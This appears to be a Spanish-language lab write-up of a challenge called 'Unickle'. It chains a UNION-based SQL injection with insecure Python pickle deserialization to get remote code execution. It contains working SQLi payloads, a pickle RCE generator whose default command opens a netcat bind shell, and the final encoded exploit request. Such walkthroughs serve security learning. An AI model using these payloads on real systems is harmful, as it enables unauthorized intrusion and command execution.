Este reto trata de encontrar un SQL injection, y usar este para escalar a un RCE.
Lo primero en lo que me fije fue en el nombre del reto: Unickle
.
Este nombre me hizo acordar de pickle
. Una librería de python para serializar y deserializar objetos.
Con esto ya tenia una idea un poco vaga (ya que aun no había confirmado que en verdad se tratara de la librería pickle) de como podría lograr el RCE.
Por otro lado, antes de poder explotar el RCE, debemos primero aprovecharnos de un SQL injection. Así que lo primero fue buscar un posible punto en la aplicación, que sea susceptible a un SQL injection.
Navegando en el app me di cuenta de que había una ruta sospechosa:
Esta era la URL que vi como principal punto de entrada:
https://ptl-fac98600-7613a88f.libcurl.so/?cat=1
Ademas podemos ver en la imagen que la columna Value
contiene la representación de cadena del objeto. Supongo que los datos originalmente están serializados, y lo que hace es deserializarlo y mostrar el __str__()
del objeto.
Es importante tener esto en cuenta, ya que puede que mas adelante nos sirva esta información.
Generalmente en las consultas SQL cuando usamos números, no solemos encerrar la consulta entre comillas. Por ende, tras unos minutos de prueba llegue al siguiente payload:
/?cat=1+ORDER+BY+4--
La técnica del ORDER BY
, es útil para saber cuantas columnas tiene la tabla en cuestión. Como pueden ver, ya se que la tabla tiene solo 4 columnas.
Con este conocimiento, ahora si puedo proceder a realizar el famoso UNION SELECT
, para realizar una segunda consulta SQL.
Pero... ¿ya sabemos que es exactamente lo que debemos hacer con el SQL injection?, es este un punto importante durante el reto. Ya tenemos el SQLI, ahora solo nos falta saber como aprovecharnos de esto para lograr un RCE (posiblemente aprovechándonos de una deserialización insegura con pickle).
Cuando entramos por primera vez al app web, vemos un enunciado que dice:
We store objects for free. Our service is in beta,
you can only access stored objects at the moment.
Entonces eso nos dice que no podemos subir mas objetos, solo usar los que ya están..., en este momento estaba un poco perdido, pero luego se me ocurrió aprovecharme de la sentencia UNION SELECT
, para saber el nombre de las columnas de la tabla y así luego tratar de injectar un objeto de alguna manera. Asi que eso hice, mande esto a la aplicación:
/?cat=1+UNION+SELECT+null,null,null,null--
A lo que el servidor respondió con esto:
# Name Value Category
None None None None
Eso fue bueno. Significa que si cambio los valores null
, por cualquier otro, podre saber que valor a que columna pertenece. Ademas al reflejarse los valores, puedo inyectar objetos y estos se mostraran en la pagina sin problema alguno después de que se deserialicen.
Para poder saber que valor a que columna pertenece, mande el siguiente payload:
/?cat=1+UNION+SELECT+22,23,24,25--
El servidor me respondio con lo siguiente:
# Name Value Category
22 23 'int'object has no attribute'encode' 25
En el campo Value
, se muestra la representación de string __str__()
de un objeto. Es por eso que ese es nuestro punto de entrada, intentaremos inyectar un string pickle malicioso para ejecutar un comando arbitrario.
Lo primero es que para enviar nuestro exploit debemos envolverlo entre comillas. Ya que como vimos anteriormente, el servidor nos dice que un int
no tiene el método encode()
. El método encode() en python sirve para cambiar la codificación de una cadena, por defecto el método usa una codificación UTF-8.
Ejemplo:
"hola".encode()
=>b"hola"
Ya tenemos casi todo listo. Solo nos queda generar nuestro exploit.
Solo debemos correr el siguiente script:
import cPickle
import sys
import base64
DEFAULT_COMMAND = "netcat -c '/bin/bash -i' -l -p 4444"
COMMAND = sys.argv[1] if len(sys.argv) > 1 else DEFAULT_COMMAND
class PickleRce(object):
def __reduce__(self):
import os
return (os.system,(COMMAND,))
print base64.b64encode(cPickle.dumps(PickleRce()))
Debes ejecutarlo con un interprete de python2, en caso de que el comando por defecto no sea el que necesitas solo debes pasarle el comando que tu deseas como parámetro así:
python pwnPickle.py "/usr/local/bin/score 9b7f1cd1-9e32-42a4-a590-5a06b94f306d"
El anterior comando me regreso lo siguiente:
Y3Bvc2l4CnN5c3RlbQpwMQooUycvdXNyL2xvY2FsL2Jpbi9zY29yZSA5YjdmMWNkMS05ZTMyLTQyYTQtYTU5MC01YTA2Yjk0ZjMwNmQnCnAyCnRScDMKLg==
Generalmente las aplicaciones web reciben los datos como base64, por eso de no perder los datos en el camino debido a caracteres extravagantes. De hecho me pase casi 1 hora completa intentando encontrar funciones en la base de datos que me permitieran decodificar la cadena para que la pudiera interpretarla bien y no se perdieran datos en el camino. Luego fue que me di cuenta de que en realidad debía mandar la cadena en crudo.
Por lo tanto si estas en un sistema linux, puedes hacer lo siguiente:
echo "Y3Bvc2l4CnN5c3RlbQpwMQooUycvdXNyL2xvY2FsL2Jpbi9zY29yZSA5YjdmMWNkMS05ZTMyLTQyYTQtYTU5MC01YTA2Yjk0ZjMwNmQnCnAyCnRScDMKLg==" | base64 -d
Lo anterior nos devolverá el payload que necesitamos para explotar el fallo.
cposix
system
p1
(S'/usr/local/bin/score 9b7f1cd1-9e32-42a4-a590-5a06b94f306d'
p2
tRp3
.
Ahora solo nos queda enviar el payload anterior para causar la deserialización insegura y aprovecharnos esto para causar un RCE.
Todo junto se ve de la siguiente manera:
/?cat=1 UNION SELECT 25,26,"cposix system p1 (S'/usr/local/bin/score 9b7f1cd1-9e32-42a4-a590-5a06b94f306d' p2 tRp3",28 --
El servidor me responde con lo siguiente:
# Name Value Category
22 23 pickle data was truncated 25
Investigando en internet, me di cuenta de que esto sucedía cuando el pickle estaba corrupto.
Lo que me hizo pensar en que claramente cuando mando el payload en la URL, no estoy respetando los saltos de linea. Por ende envié de nuevo el payload pero agregando %0A
en todos los lugares necesarios.
El nuevo payload se ve así:
/?cat=1+UNION+SELECT+25,26,"cposix%0Asystem%0Ap1%0A(S%27/usr/local/bin/score%209b7f1cd1-9e32-42a4-a590-5a06b94f306d%27%0Ap2%0AtRp3%20%0A.",28--
Con esto lograba mantener los saltos de linea para que así se pudieran deserializar de manera correcta. Y así fue, el servidor me devolvió un 0
en el campo Value
, lo cual era una respuesta totalmente diferente a todas la veces anteriores (ya que esta era la única vez en la que no me devolvió un error).
Esto confirma que la explotación se ha realizado con éxito.